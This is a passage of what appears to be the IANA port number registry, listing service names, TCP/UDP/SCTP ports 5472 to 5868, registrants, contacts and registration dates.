apsolab-tag        5472        tcp    The Apsolab company's        [Apsolab_Inc]                                         [Jean-Francois_Gauthier]                                  2014-11-10
                                      dynamic tag protocol
                   5472        udp    Reserved
apsolab-tags       5473        tcp    The Apsolab company's secure [Apsolab_Inc]                                         [Jean-Francois_Gauthier]                                  2014-11-10
                                      dynamic tag protocol
                   5473        udp    Reserved
apsolab-rpc        5474        udp    The Apsolab company's status [Apsolab_Inc]                                         [Jean-Francois_Gauthier]                                  2014-11-10
                                      query protocol
                   5474        tcp    Reserved
apsolab-data       5475        tcp    The Apsolab company's data   [Apsolab_Inc]                                         [Jean-Francois_Gauthier]                                  2014-11-10
                                      retrieval protocol
                   5475        udp    Reserved
                 5476-5499            Unassigned
fcp-addr-srvr1     5500        tcp    fcp-addr-srvr1               [Ken_Wittmer]                                         [Ken_Wittmer]
fcp-addr-srvr1     5500        udp    fcp-addr-srvr1               [Ken_Wittmer]                                         [Ken_Wittmer]
fcp-addr-srvr2     5501        tcp    fcp-addr-srvr2               [Ken_Wittmer]                                         [Ken_Wittmer]
fcp-addr-srvr2     5501        udp    fcp-addr-srvr2               [Ken_Wittmer]                                         [Ken_Wittmer]
fcp-srvr-inst1     5502        tcp    fcp-srvr-inst1               [Ken_Wittmer]                                         [Ken_Wittmer]
fcp-srvr-inst1     5502        udp    fcp-srvr-inst1               [Ken_Wittmer]                                         [Ken_Wittmer]
fcp-srvr-inst2     5503        tcp    fcp-srvr-inst2               [Ken_Wittmer]                                         [Ken_Wittmer]
fcp-srvr-inst2     5503        udp    fcp-srvr-inst2               [Ken_Wittmer]                                         [Ken_Wittmer]
fcp-cics-gw1       5504        tcp    fcp-cics-gw1                 [Ken_Wittmer]                                         [Ken_Wittmer]
fcp-cics-gw1       5504        udp    fcp-cics-gw1                 [Ken_Wittmer]                                         [Ken_Wittmer]
checkoutdb         5505        tcp    Checkout Database            [Dirk_Stoop]                                          [Dirk_Stoop]                                              2007-04
checkoutdb         5505        udp    Checkout Database            [Dirk_Stoop]                                          [Dirk_Stoop]                                              2007-04
amc                5506        tcp    Amcom Mobile Connect         [Aaron_Fracht_Monroe]                                 [Aaron_Fracht_Monroe]                                     2010-06-03
amc                5506        udp    Amcom Mobile Connect         [Aaron_Fracht_Monroe]                                 [Aaron_Fracht_Monroe]                                     2010-06-03
psl-management     5507        tcp    PowerSysLab Electrical       [PowerSysLab]                                         [Lucas_Lorensi]                                           2015-07-20
                                      Management
                   5507        udp    Reserved
                 5508-5549            Unassigned
cbus               5550        tcp    Model Railway control using  [MERG]                                                [Pete_Brownlow]                                           2017-01-03
                                      the CBUS message protocol
                   5550        udp    Reserved
                 5551-5552            Unassigned
sgi-eventmond      5553        tcp    SGI Eventmond Port           [Andrei_Vilkotski]                                    [Andrei_Vilkotski]                                        2003-06
sgi-eventmond      5553        udp    SGI Eventmond Port           [Andrei_Vilkotski]                                    [Andrei_Vilkotski]                                        2003-06
sgi-esphttp        5554        tcp    SGI ESP HTTP                 [Vladimir_Legalov]                                    [Vladimir_Legalov]
sgi-esphttp        5554        udp    SGI ESP HTTP                 [Vladimir_Legalov]                                    [Vladimir_Legalov]
                                                                                                                                                                                                                                                                     Known
personal-agent     5555        tcp    Personal Agent               [Jackie_Wu]                                           [Jackie_Wu]                                                                                                                                 UNAUTHORIZED
                                                                                                                                                                                                                                                                     USEs on port
                                                                                                                                                                                                                                                                     5555
                                                                                                                                                                                                                                                                     Known
personal-agent     5555        udp    Personal Agent               [Jackie_Wu]                                           [Jackie_Wu]                                                                                                                                 UNAUTHORIZED
                                                                                                                                                                                                                                                                     USEs on port
                                                                                                                                                                                                                                                                     5555
                                                                                                                                                                                                                                                                     Known
freeciv            5556        tcp    Freeciv gameplay             [Reinier_Post_and_Pau]                                [Reinier_Post_and_Pau]                                    2006-01                                                                           Unauthorized
                                                                                                                                                                                                                                                                     Use on port
                                                                                                                                                                                                                                                                     5556
                                                                                                                                                                                                                                                                     Known
freeciv            5556        udp    Freeciv gameplay             [Reinier_Post_and_Pau]                                [Reinier_Post_and_Pau]                                    2006-01                                                                           Unauthorized
                                                                                                                                                                                                                                                                     Use on port
                                                                                                                                                                                                                                                                     5556
farenet            5557        tcp    Sandlab FARENET              [Kay_T_Labinsky]                                      [Kay_T_Labinsky]                                          2010-05-03
                   5557        udp    Reserved
                 5558-5564            Unassigned
hpe-dp-bura        5565        tcp    HPE Advanced BURA            [Hewlett_Packard_Enterprise]                          [Silvia_Veronese]                                         2016-01-13
                   5565        udp    Reserved
westec-connect     5566        tcp    Westec Connect               [Jon_Bolen]                                           [Jon_Bolen]                                               2009-03-18
                   5566        udp    Reserved
dof-dps-mc-sec     5567        tcp    DOF Protocol Stack           [OpenDOF]                                             [Bryant_Eastham]                                          2004-11      2015-04-23
                                      Multicast/Secure Transport
dof-dps-mc-sec     5567        udp    DOF Protocol Stack           [OpenDOF]                                             [Bryant_Eastham]                                          2004-11      2015-04-23
                                      Multicast/Secure Transport
sdt                5568        tcp    Session Data Transport       [Daniel_W_Antonuk]                                    [Daniel_W_Antonuk]                                        2006-05
                                      Multicast
sdt                5568        udp    Session Data Transport       [Daniel_W_Antonuk]                                    [Daniel_W_Antonuk]                                        2006-05
                                      Multicast
                                      PLASA E1.33, Remote Device
rdmnet-ctrl        5569        tcp    Management (RDM) controller  [PLASA]                                               [Simon_Newton]                                            2012-06-01
                                      status notifications
rdmnet-device      5569        udp    PLASA E1.33, Remote Device   [PLASA]                                               [Simon_Newton]                                            2012-06-01
                                      Management (RDM) messages
                                                                                                                                                                                                                                                                     Known
                 5570-5572            Unassigned                                                                                                                                                                                                                     UNAUTHORIZED
                                                                                                                                                                                                                                                                     USE on Port
                                                                                                                                                                                                                                                                     5570
sdmmp              5573        tcp    SAS Domain Management        [Ron_Zuckerman]                                       [Ron_Zuckerman]                                           2007-08-30
                                      Messaging Protocol
sdmmp              5573        udp    SAS Domain Management        [Ron_Zuckerman]                                       [Ron_Zuckerman]                                           2007-08-30
                                      Messaging Protocol
lsi-bobcat         5574        tcp    SAS IO Forwarding            [Mandar_Joshi]                                        [Mandar_Joshi]                                            2009-02-09
                   5574        udp    Reserved
ora-oap            5575        tcp    Oracle Access Protocol       [Peter_Povinec]                                       [Peter_Povinec]                                           2010-04-13
                   5575        udp    Reserved
                 5576-5578            Unassigned
fdtracks           5579        tcp    FleetDisplay Tracking        [Henrik_Woffinden]                                    [Henrik_Woffinden]                                        2008-09-22
                                      Service
                   5579        udp    Reserved
tmosms0            5580        tcp    T-Mobile SMS Protocol        [Ezinne_Oji]                                          [Ezinne_Oji]                                              2006-06
                                      Message 0
tmosms0            5580        udp    T-Mobile SMS Protocol        [Ezinne_Oji]                                          [Ezinne_Oji]                                              2006-06
                                      Message 0
tmosms1            5581        tcp    T-Mobile SMS Protocol        [Ezinne_Oji]                                          [Ezinne_Oji]                                              2006-06
                                      Message 1
tmosms1            5581        udp    T-Mobile SMS Protocol        [Ezinne_Oji]                                          [Ezinne_Oji]                                              2006-06
                                      Message 1
fac-restore        5582        tcp    T-Mobile SMS Protocol        [Jessica_Yan]                                         [Jessica_Yan]                                             2008-02-19
                                      Message 3
fac-restore        5582        udp    T-Mobile SMS Protocol        [Jessica_Yan]                                         [Jessica_Yan]                                             2008-02-19
                                      Message 3
tmo-icon-sync      5583        tcp    T-Mobile SMS Protocol        [Donghwan_Lim]                                        [Donghwan_Lim]                                            2008-01-22
                                      Message 2
tmo-icon-sync      5583        udp    T-Mobile SMS Protocol        [Donghwan_Lim]                                        [Donghwan_Lim]                                            2008-01-22
                                      Message 2
bis-web            5584        tcp    BeInSync-Web                 [Adi_Ruppin]                                          [Adi_Ruppin]                                              2005-08
bis-web            5584        udp    BeInSync-Web                 [Adi_Ruppin]                                          [Adi_Ruppin]                                              2005-08
bis-sync           5585        tcp    BeInSync-sync                [Adi_Ruppin]                                          [Adi_Ruppin]                                              2005-08
bis-sync           5585        udp    BeInSync-sync                [Adi_Ruppin]                                          [Adi_Ruppin]                                              2005-08
                                      Planning to send mobile
                                      terminated SMS to the
att-mt-sms         5586        tcp    specific port so that the    [ATT]                                                 [Dhillesh_Sigilipelli]                                    2014-08-21
                                      SMS is not visible to the
                                      client
                   5586        udp    Reserved
                 5587-5596            Unassigned
ininmessaging      5597        tcp    inin secure messaging        [Mike_Gagle_2]                                        [Mike_Gagle_2]                                            2006-05
ininmessaging      5597        udp    inin secure messaging        [Mike_Gagle_2]                                        [Mike_Gagle_2]                                            2006-05
mctfeed            5598        tcp    MCT Market Data Feed         [Stephane_Touizer]                                    [Stephane_Touizer]                                        2006-05
mctfeed            5598        udp    MCT Market Data Feed         [Stephane_Touizer]                                    [Stephane_Touizer]                                        2006-05
esinstall          5599        tcp    Enterprise Security Remote   [Kimberly_Gibbs]                                      [Kimberly_Gibbs]
                                      Install
esinstall          5599        udp    Enterprise Security Remote   [Kimberly_Gibbs]                                      [Kimberly_Gibbs]
                                      Install
esmmanager         5600        tcp    Enterprise Security Manager  [Kimberly_Gibbs]                                      [Kimberly_Gibbs]
esmmanager         5600        udp    Enterprise Security Manager  [Kimberly_Gibbs]                                      [Kimberly_Gibbs]
esmagent           5601        tcp    Enterprise Security Agent    [Kimberly_Gibbs]                                      [Kimberly_Gibbs]
esmagent           5601        udp    Enterprise Security Agent    [Kimberly_Gibbs]                                      [Kimberly_Gibbs]
a1-msc             5602        tcp    A1-MSC                       [Mike_Dolan]                                          [Mike_Dolan]
a1-msc             5602        udp    A1-MSC                       [Mike_Dolan]                                          [Mike_Dolan]
a1-bs              5603        tcp    A1-BS                        [Mike_Dolan]                                          [Mike_Dolan]
a1-bs              5603        udp    A1-BS                        [Mike_Dolan]                                          [Mike_Dolan]
a3-sdunode         5604        tcp    A3-SDUNode                   [Mike_Dolan]                                          [Mike_Dolan]
a3-sdunode         5604        udp    A3-SDUNode                   [Mike_Dolan]                                          [Mike_Dolan]
a4-sdunode         5605        tcp    A4-SDUNode                   [Mike_Dolan]                                          [Mike_Dolan]
a4-sdunode         5605        udp    A4-SDUNode                   [Mike_Dolan]                                          [Mike_Dolan]
                 5606-5617            Unassigned
efr                5618        tcp    Fiscal Registering Protocol  [efsta]                                               [Alois_Reisinger]                                         2013-08-13
                   5618        udp    Reserved
                 5619-5626            Unassigned
ninaf              5627        tcp    Node Initiated Network       [Thomas_Scholl]                                       [Thomas_Scholl]                                           2006-03
                                      Association Forma
ninaf              5627        udp    Node Initiated Network       [Thomas_Scholl]                                       [Thomas_Scholl]                                           2006-03
                                      Association Forma
htrust             5628        tcp    HTrust API                   [Karl_Olafsson]                                       [Karl_Olafsson]                                           2008-10-24
htrust             5628        udp    HTrust API                   [Karl_Olafsson]                                       [Karl_Olafsson]                                           2008-10-24
symantec-sfdb      5629        tcp    Symantec Storage Foundation  [Quang_Thoi]                                          [Quang_Thoi]                                              2006-11
                                      for Database
symantec-sfdb      5629        udp    Symantec Storage Foundation  [Quang_Thoi]                                          [Quang_Thoi]                                              2006-11
                                      for Database
precise-comm       5630        tcp    PreciseCommunication         [Alon_Tamir]                                          [Alon_Tamir]                                              2006-04
precise-comm       5630        udp    PreciseCommunication         [Alon_Tamir]                                          [Alon_Tamir]                                              2006-04
pcanywheredata     5631        tcp    pcANYWHEREdata               [Jon_Rosarky]                                         [Jon_Rosarky]
pcanywheredata     5631        udp    pcANYWHEREdata               [Jon_Rosarky]                                         [Jon_Rosarky]
pcanywherestat     5632        tcp    pcANYWHEREstat               [Jon_Rosarky]                                         [Jon_Rosarky]
pcanywherestat     5632        udp    pcANYWHEREstat               [Jon_Rosarky]                                         [Jon_Rosarky]
beorl              5633        tcp    BE Operations Request        [Chirag_Desai]                                        [Chirag_Desai]                                            2006-02
                                      Listener
beorl              5633        udp    BE Operations Request        [Chirag_Desai]                                        [Chirag_Desai]                                            2006-02
                                      Listener
xprtld             5634        tcp    SF Message Service           [VR_Satish]                                           [VR_Satish]                                               2007-08-16
xprtld             5634        udp    SF Message Service           [VR_Satish]                                           [VR_Satish]                                               2007-08-16
sfmsso             5635        tcp    SFM Authentication Subsystem [De_Chih_Chien]                                       [De_Chih_Chien]                                           2008-09-15
                   5635        udp    Reserved
sfm-db-server      5636        tcp    SFMdb - SFM DB server        [De_Chih_Chien]                                       [De_Chih_Chien]                                           2008-10-06
                   5636        udp    Reserved
cssc               5637        tcp    Symantec CSSC                [Amol_P_Tambe]                                        [Amol_P_Tambe]                                            2011-02-02
                   5637        udp    Reserved
                                      Symantec Fingerprint Lookup
flcrs              5638        tcp    and Container Reference      [Symantec_Corp]                                       [Neel_A_Bhatt]                                            2012-01-03
                                      Service
                   5638        udp    Reserved
ics                5639        tcp    Symantec Integrity Checking  [Symantec_Corp2]                                      [Danzhou_Liu]                                             2012-05-07
                                      Service
                   5639        udp    Reserved
                 5640-5645            Unassigned
vfmobile           5646        tcp    Ventureforth Mobile          [Ventureforth_Inc]                                    [Blakely_Snyder]                                          2011-11-03
                   5646        udp    Reserved
                 5647-5665            Unassigned
nrpe               5666        tcp    Nagios Remote Plugin         [Nagios_Enterprises_LLC]                              [Bryan_Heden]                                             2017-09-06
                                      Executor
                   5666        udp    Reserved
                 5667-5669            Unassigned
filemq             5670        tcp    ZeroMQ file                  [Pieter_Hintjens2]                                    [Pieter_Hintjens2]                                        2012-11-01   2013-02-25
                                      publish-subscribe protocol
zre-disc           5670        udp    Local area discovery and     [Pieter_Hintjens_3]                                   [Pieter_Hintjens_3]                                       2012-12-17
                                      messaging over ZeroMQ
amqps              5671        tcp    amqp protocol over TLS/SSL   [Ted_Ross_2]                                          [Ted_Ross_2]                                              2008-03-26
amqps              5671        udp    amqp protocol over TLS/SSL   [Ted_Ross_2]                                          [Ted_Ross_2]                                              2008-03-26
amqp               5672        tcp    AMQP                         [Pieter_Hintjens]                                     [Pieter_Hintjens]                                         2006-01
amqp               5672        udp    AMQP                         [Pieter_Hintjens]                                     [Pieter_Hintjens]                                         2006-01
amqp               5672       sctp    AMQP                         [Martin_Sustrik]                                      [Martin_Sustrik]                                          2007-03
jms                5673        tcp    JACL Message Server          [Stuart_Allen]                                        [Stuart_Allen]                                            2002-02
jms                5673        udp    JACL Message Server          [Stuart_Allen]                                        [Stuart_Allen]                                            2002-02
hyperscsi-port     5674        tcp    HyperSCSI Port               [Data_Storage_Institu]                                [Data_Storage_Institu]                                    2002-02
hyperscsi-port     5674        udp    HyperSCSI Port               [Data_Storage_Institu]                                [Data_Storage_Institu]                                    2002-02
v5ua               5675        tcp    V5UA application port                                                                                                                                                  [RFC3807]
v5ua               5675        udp    V5UA application port                                                                                                                                                  [RFC3807]
v5ua               5675       sctp    V5UA application port                                                                                                                                                  [RFC3807]
raadmin            5676        tcp    RA Administration            [Sergei_Zjaikin]                                      [Sergei_Zjaikin]                                          2002-02
raadmin            5676        udp    RA Administration            [Sergei_Zjaikin]                                      [Sergei_Zjaikin]                                          2002-02
questdb2-lnchr     5677        tcp    Quest Central DB2 Launchr    [Robert_M_Mackowiak]                                  [Robert_M_Mackowiak]                                      2002-02
questdb2-lnchr     5677        udp    Quest Central DB2 Launchr    [Robert_M_Mackowiak]                                  [Robert_M_Mackowiak]                                      2002-02
rrac               5678        tcp    Remote Replication Agent
                                      Connection
rrac               5678        udp    Remote Replication Agent
                                      Connection
dccm               5679        tcp    Direct Cable Connect Manager [Mark_Miller_2]                                       [Mark_Miller_2]
dccm               5679        udp    Direct Cable Connect Manager [Mark_Miller_2]                                       [Mark_Miller_2]
auriga-router      5680        tcp    Auriga Router Service        [Vincent_Gaudeul]                                     [Vincent_Gaudeul]                                         2006-02
auriga-router      5680        udp    Auriga Router Service        [Vincent_Gaudeul]                                     [Vincent_Gaudeul]                                         2006-02
ncxcp              5681        tcp    Net-coneX Control Protocol   [Ryan_Werber]                                         [Ryan_Werber]                                             2006-06
ncxcp              5681        udp    Net-coneX Control Protocol   [Ryan_Werber]                                         [Ryan_Werber]                                             2006-06
                   5682        tcp    Reserved
brightcore         5682        udp    BrightCore control & data    [Marko_Bjelac]                                        [Marko_Bjelac]                                            2010-06-10
                                      transfer exchange
coap               5683        tcp    Constrained Application      [IESG]                                                [IETF_Chair]                                              2017-12-22                [RFC8323]
                                      Protocol (CoAP)
coap               5683        udp    Constrained Application      [IESG]                                                [IETF_Chair]                                              2011-06-13   2013-07-25   [RFC7252]
                                      Protocol
coaps              5684        tcp    Constrained Application      [IESG]                                                [IETF_Chair]                                              2017-12-22                [RFC7301][RFC8323]
                                      Protocol (CoAP)
coaps              5684        udp    DTLS-secured CoAP            [IESG]                                                [IETF_Chair]                                              2013-07-25                [RFC7252]
                 5685-5686            Unassigned
gog-multiplayer    5687        udp    GOG multiplayer game         [GOG.com]                                             [Michal_Gruchala]                                         2014-07-31   2014-10-09
                                      protocol
                   5687        tcp    Reserved
ggz                5688        tcp    GGZ Gaming Zone              [Josef_Spillner]                                      [Josef_Spillner]                                          2003-01
ggz                5688        udp    GGZ Gaming Zone              [Josef_Spillner]                                      [Josef_Spillner]                                          2003-01
qmvideo            5689        tcp    QM video network management  [Jamie_Lokier]                                        [Jamie_Lokier]                                            2006-05
                                      protocol
qmvideo            5689        udp    QM video network management  [Jamie_Lokier]                                        [Jamie_Lokier]                                            2006-05
                                      protocol
                 5690-5692            Unassigned
rbsystem           5693        tcp    Robert Bosch Data Transfer   [Robert_Bosch_GmbH]                                   [Klaus_Warth]                                             2011-08-01   2012-07-17
                   5693        udp    Reserved
                 5694-5695            Unassigned
kmip               5696        tcp    Key Management               [OASIS_KMIP_Technical_Committee]                      [Robin_Cover]                                             2011-07-25
                                      Interoperability Protocol
                   5696        udp    Reserved
                 5697-5699            Unassigned
supportassist      5700        tcp    Dell SupportAssist data      [Dell_Technologies]                                   [Rohitdev_Kulshrestha]                                    2016-07-05
                                      center management
                   5700        udp    Reserved
                 5701-5704            Unassigned
storageos          5705        tcp    StorageOS REST API           [StorageOS]                                           [Simon_Croome]                                            2017-03-03
                   5705        udp    Reserved
                 5706-5712            Unassigned
proshareaudio      5713        tcp    proshare conf audio          [gunner]                                              [gunner]
proshareaudio      5713        udp    proshare conf audio          [gunner]                                              [gunner]
prosharevideo      5714        tcp    proshare conf video          [gunner]                                              [gunner]
prosharevideo      5714        udp    proshare conf video          [gunner]                                              [gunner]
prosharedata       5715        tcp    proshare conf data           [gunner]                                              [gunner]
prosharedata       5715        udp    proshare conf data           [gunner]                                              [gunner]
prosharerequest    5716        tcp    proshare conf request        [gunner]                                              [gunner]
prosharerequest    5716        udp    proshare conf request        [gunner]                                              [gunner]
prosharenotify     5717        tcp    proshare conf notify         [gunner]                                              [gunner]
prosharenotify     5717        udp    proshare conf notify
dpm                5718        tcp    DPM Communication Server     [Sundar_Srinivasan][Vinay_Badami]                     [Sundar_Srinivasan][Vinay_Badami]
dpm                5718        udp    DPM Communication Server     [Sundar_Srinivasan][Vinay_Badami]                     [Sundar_Srinivasan][Vinay_Badami]
dpm-agent          5719        tcp    DPM Agent Coordinator        [Sundar_Srinivasan][Vinay_Badami]                     [Sundar_Srinivasan][Vinay_Badami]                         2006-05
dpm-agent          5719        udp    DPM Agent Coordinator        [Sundar_Srinivasan][Vinay_Badami]                     [Sundar_Srinivasan][Vinay_Badami]                         2006-05
ms-licensing       5720        tcp    MS-Licensing                 [Thomas_Lindeman]                                     [Thomas_Lindeman]                                         2002-11
ms-licensing       5720        udp    MS-Licensing                 [Thomas_Lindeman]                                     [Thomas_Lindeman]                                         2002-11
dtpt               5721        tcp    Desktop Passthru Service     [Dan_Leising]                                         [Dan_Leising]                                             2005-01
dtpt               5721        udp    Desktop Passthru Service     [Dan_Leising]                                         [Dan_Leising]                                             2005-01
msdfsr             5722        tcp    Microsoft DFS Replication    [Guhan_Suriyanarayana]                                [Guhan_Suriyanarayana]                                    2006-03
                                      Service
msdfsr             5722        udp    Microsoft DFS Replication    [Guhan_Suriyanarayana]                                [Guhan_Suriyanarayana]                                    2006-03
                                      Service
omhs               5723        tcp    Operations Manager - Health  [Gerardo_Dilillo]                                     [Gerardo_Dilillo]                                         2006-08
                                      Service
omhs               5723        udp    Operations Manager - Health  [Gerardo_Dilillo]                                     [Gerardo_Dilillo]                                         2006-08
                                      Service
omsdk              5724        tcp    Operations Manager - SDK     [Gerardo_Dilillo]                                     [Gerardo_Dilillo]                                         2006-08
                                      Service
omsdk              5724        udp    Operations Manager - SDK     [Gerardo_Dilillo]                                     [Gerardo_Dilillo]                                         2006-08
                                      Service
ms-ilm             5725        tcp    Microsoft Identity Lifecycle [Rob_Ward]                                            [Rob_Ward]
                                      Manager
                   5725        udp    Reserved                                                                                                                                     2008-05-02
ms-ilm-sts         5726        tcp    Microsoft Lifecycle Manager  [Rob_Ward]                                            [Rob_Ward]
                                      Secure Token Service
                   5726        udp    Reserved                                                                                                                                     2008-05-02
asgenf             5727        tcp    ASG Event Notification       [Arman_Bedonian]                                      [Arman_Bedonian]                                          2009-07-15
                                      Framework
                   5727        udp    Reserved
io-dist-data       5728        tcp    Dist. I/O Comm. Service Data [Harish_Kuttan]                                       [Harish_Kuttan]                                           2010-03-22
                                      and Control
io-dist-group      5728        udp    Dist. I/O Comm. Service      [Harish_Kuttan]                                       [Harish_Kuttan]                                           2010-03-22
                                      Group Membership
openmail           5729        tcp    Openmail User Agent Layer    [OpenMail_Encyclopedi][Don_Loughry]                   [OpenMail_Encyclopedi][Don_Loughry]
openmail           5729        udp    Openmail User Agent Layer    [OpenMail_Encyclopedi][Don_Loughry]                   [OpenMail_Encyclopedi][Don_Loughry]
unieng             5730        tcp    Steltor's calendar access    [Bernard_Desruisseaux]                                [Bernard_Desruisseaux]
unieng             5730        udp    Steltor's calendar access    [Bernard_Desruisseaux]                                [Bernard_Desruisseaux]
                 5731-5740            Unassigned
ida-discover1      5741        tcp    IDA Discover Port 1          [MPITech_Support]                                     [MPITech_Support]
ida-discover1      5741        udp    IDA Discover Port 1          [MPITech_Support]                                     [MPITech_Support]
ida-discover2      5742        tcp    IDA Discover Port 2          [MPITech_Support]                                     [MPITech_Support]
ida-discover2      5742        udp    IDA Discover Port 2          [MPITech_Support]                                     [MPITech_Support]
watchdoc-pod       5743        tcp    Watchdoc NetPOD Protocol     [Christophe_Chevalier]                                [Christophe_Chevalier]                                    2005-08
watchdoc-pod       5743        udp    Watchdoc NetPOD Protocol     [Christophe_Chevalier]                                [Christophe_Chevalier]                                    2005-08
watchdoc           5744        tcp    Watchdoc Server              [Christophe_Chevalier]                                [Christophe_Chevalier]                                    2004-11
watchdoc           5744        udp    Watchdoc Server              [Christophe_Chevalier]                                [Christophe_Chevalier]                                    2004-11
fcopy-server       5745        tcp    fcopy-server                 [Moshe_Leibovitch]                                    [Moshe_Leibovitch]
fcopy-server       5745        udp    fcopy-server                 [Moshe_Leibovitch]                                    [Moshe_Leibovitch]
fcopys-server      5746        tcp    fcopys-server                [Moshe_Leibovitch]                                    [Moshe_Leibovitch]
fcopys-server      5746        udp    fcopys-server                [Moshe_Leibovitch]                                    [Moshe_Leibovitch]
tunatic            5747        tcp    Wildbits Tunatic             [Sylvain_Demongeot]                                   [Sylvain_Demongeot]                                       2005-08
tunatic            5747        udp    Wildbits Tunatic             [Sylvain_Demongeot]                                   [Sylvain_Demongeot]                                       2005-08
tunalyzer          5748        tcp    Wildbits Tunalyzer           [Sylvain_Demongeot]                                   [Sylvain_Demongeot]                                       2005-08
tunalyzer          5748        udp    Wildbits Tunalyzer           [Sylvain_Demongeot]                                   [Sylvain_Demongeot]                                       2005-08
                   5749               Unassigned
rscd               5750        tcp    Bladelogic Agent Service     [Brian_Trevor]                                        [Brian_Trevor]                                            2008-10-24
rscd               5750        udp    Bladelogic Agent Service     [Brian_Trevor]                                        [Brian_Trevor]                                            2008-10-24
                 5751-5754            Unassigned
openmailg          5755        tcp    OpenMail Desk Gateway server [OpenMail_Encyclopedi][Don_Loughry]                   [OpenMail_Encyclopedi][Don_Loughry]
openmailg          5755        udp    OpenMail Desk Gateway server [OpenMail_Encyclopedi][Don_Loughry]                   [OpenMail_Encyclopedi][Don_Loughry]
                   5756               Unassigned
x500ms             5757        tcp    OpenMail X.500 Directory     [OpenMail_Encyclopedi][Don_Loughry]                   [OpenMail_Encyclopedi][Don_Loughry]
                                      Server
x500ms             5757        udp    OpenMail X.500 Directory     [OpenMail_Encyclopedi][Don_Loughry]                   [OpenMail_Encyclopedi][Don_Loughry]
                                      Server
                 5758-5765            Unassigned
openmailns         5766        tcp    OpenMail NewMail Server      [OpenMail_Encyclopedi][Don_Loughry]                   [OpenMail_Encyclopedi][Don_Loughry]
openmailns         5766        udp    OpenMail NewMail Server      [OpenMail_Encyclopedi][Don_Loughry]                   [OpenMail_Encyclopedi][Don_Loughry]
s-openmail         5767        tcp    OpenMail Suer Agent Layer    [OpenMail_Encyclopedi][Don_Loughry]                   [OpenMail_Encyclopedi][Don_Loughry]
                                      (Secure)
s-openmail         5767        udp    OpenMail Suer Agent Layer    [OpenMail_Encyclopedi][Don_Loughry]                   [OpenMail_Encyclopedi][Don_Loughry]
                                      (Secure)
openmailpxy        5768        tcp    OpenMail CMTS Server         [OpenMail_Encyclopedi][Don_Loughry]                   [OpenMail_Encyclopedi][Don_Loughry]
openmailpxy        5768        udp    OpenMail CMTS Server         [OpenMail_Encyclopedi][Don_Loughry]                   [OpenMail_Encyclopedi][Don_Loughry]
spramsca           5769        tcp    x509solutions Internal CA    [Brendan_Fay]                                         [Brendan_Fay]                                             2006-02
spramsca           5769        udp    x509solutions Internal CA    [Brendan_Fay]                                         [Brendan_Fay]                                             2006-02
spramsd            5770        tcp    x509solutions Secure Data    [Brendan_Fay]                                         [Brendan_Fay]                                             2006-02
spramsd            5770        udp    x509solutions Secure Data    [Brendan_Fay]                                         [Brendan_Fay]                                             2006-02
netagent           5771        tcp    NetAgent                     [Bradley_Birnbaum]                                    [Bradley_Birnbaum]
netagent           5771        udp    NetAgent                     [Bradley_Birnbaum]                                    [Bradley_Birnbaum]
                 5772-5776            Unassigned
dali-port          5777        tcp    DALI Port                    [Wayne_Morrow][Michael_Melio]                         [Wayne_Morrow][Michael_Melio]                             2003-10
dali-port          5777        udp    DALI Port                    [Wayne_Morrow][Michael_Melio]                         [Wayne_Morrow][Michael_Melio]                             2003-10
                 5778-5779            Unassigned
vts-rpc            5780        tcp    Visual Tag System RPC        [Graham_Bloice]                                       [Graham_Bloice]                                           2009-09-17
                   5780        udp    Reserved
3par-evts          5781        tcp    3PAR Event Reporting Service [Sushil_Thomas]                                       [Sushil_Thomas]                                           2008-03-10
3par-evts          5781        udp    3PAR Event Reporting Service [Sushil_Thomas]                                       [Sushil_Thomas]                                           2008-03-10
3par-mgmt          5782        tcp    3PAR Management Service      [Don_Marselle]                                        [Don_Marselle]                                            2008-04-09
3par-mgmt          5782        udp    3PAR Management Service      [Don_Marselle]                                        [Don_Marselle]                                            2008-04-09
3par-mgmt-ssl      5783        tcp    3PAR Management Service with [Don_Marselle]                                        [Don_Marselle]                                            2008-03-19
                                      SSL
3par-mgmt-ssl      5783        udp    3PAR Management Service with [Don_Marselle]                                        [Don_Marselle]                                            2008-03-19
                                      SSL
                   5784        tcp    Reserved
ibar               5784        udp    Cisco Interbox Application   [Cullen_Jennings]                                     [Cullen_Jennings]                                         2010-02-03
                                      Redundancy
3par-rcopy         5785        tcp    3PAR Inform Remote Copy      [Don_Marselle]                                        [Don_Marselle]                                            2010-02-03
3par-rcopy         5785        udp    3PAR Inform Remote Copy      [Don_Marselle]                                        [Don_Marselle]                                            2008-04-09
                   5786        tcp    Reserved
cisco-redu         5786        udp    redundancy notification      [Ming_Zhang]                                          [Ming_Zhang]                                              2010-02-04
                   5787        tcp    Reserved
waascluster        5787        udp    Cisco WAAS Cluster Protocol  [Winston_Chou]                                        [Winston_Chou]                                            2011-02-08
                 5788-5792            Unassigned
xtreamx            5793        tcp    XtreamX Supervised Peer      [Ahmad_Tajuddin_Samsu]                                [Ahmad_Tajuddin_Samsu]                                    2007-02
                                      message
xtreamx            5793        udp    XtreamX Supervised Peer      [Ahmad_Tajuddin_Samsu]                                [Ahmad_Tajuddin_Samsu]                                    2007-02
                                      message
                   5794        tcp    Reserved
spdp               5794        udp    Simple Peered Discovery      [Dave_Lindquist]                                      [Dave_Lindquist]                                          2010-05-27
                                      Protocol
                 5795-5812            Unassigned
icmpd              5813        tcp    ICMPD                        [Shane_O_Donnell]                                     [Shane_O_Donnell]
icmpd              5813        udp    ICMPD                        [Shane_O_Donnell]                                     [Shane_O_Donnell]
spt-automation     5814        tcp    Support Automation           [Joshua_Hawkins]                                      [Joshua_Hawkins]                                          2003-11
spt-automation     5814        udp    Support Automation           [Joshua_Hawkins]                                      [Joshua_Hawkins]                                          2003-11
                 5815-5840            Unassigned
                                      Z-firm ShipRush interface
shiprush-d-ch      5841        tcp    for web access and           [Z-Firm_LLC]                                          [Rafael_Zimberoff]                                        2014-08-22
                                      bidirectional data
                   5841        udp    Reserved
reversion          5842        tcp    Reversion Backup/Restore     [Cameo_Systems_Inc]                                   [Craig_Nelson]                                            2011-09-26
                   5842        udp    Reserved
                 5843-5858            Unassigned
wherehoo           5859        tcp    WHEREHOO                     [Jim_Youll]                                           [Jim_Youll]
wherehoo           5859        udp    WHEREHOO                     [Jim_Youll]                                           [Jim_Youll]
                 5860-5862            Unassigned
ppsuitemsg         5863        tcp    PlanetPress Suite Messeng    [Yannick_Fortin]                                      [Yannick_Fortin]                                          2006-02
ppsuitemsg         5863        udp    PlanetPress Suite Messeng    [Yannick_Fortin]                                      [Yannick_Fortin]                                          2006-02
                 5864-5867            Unassigned
diameters          5868        tcp    Diameter over TLS/TCP        [IESG]                                                [IETF_Chair]                                                                        [RFC6733]
                   5868        udp    Reserved
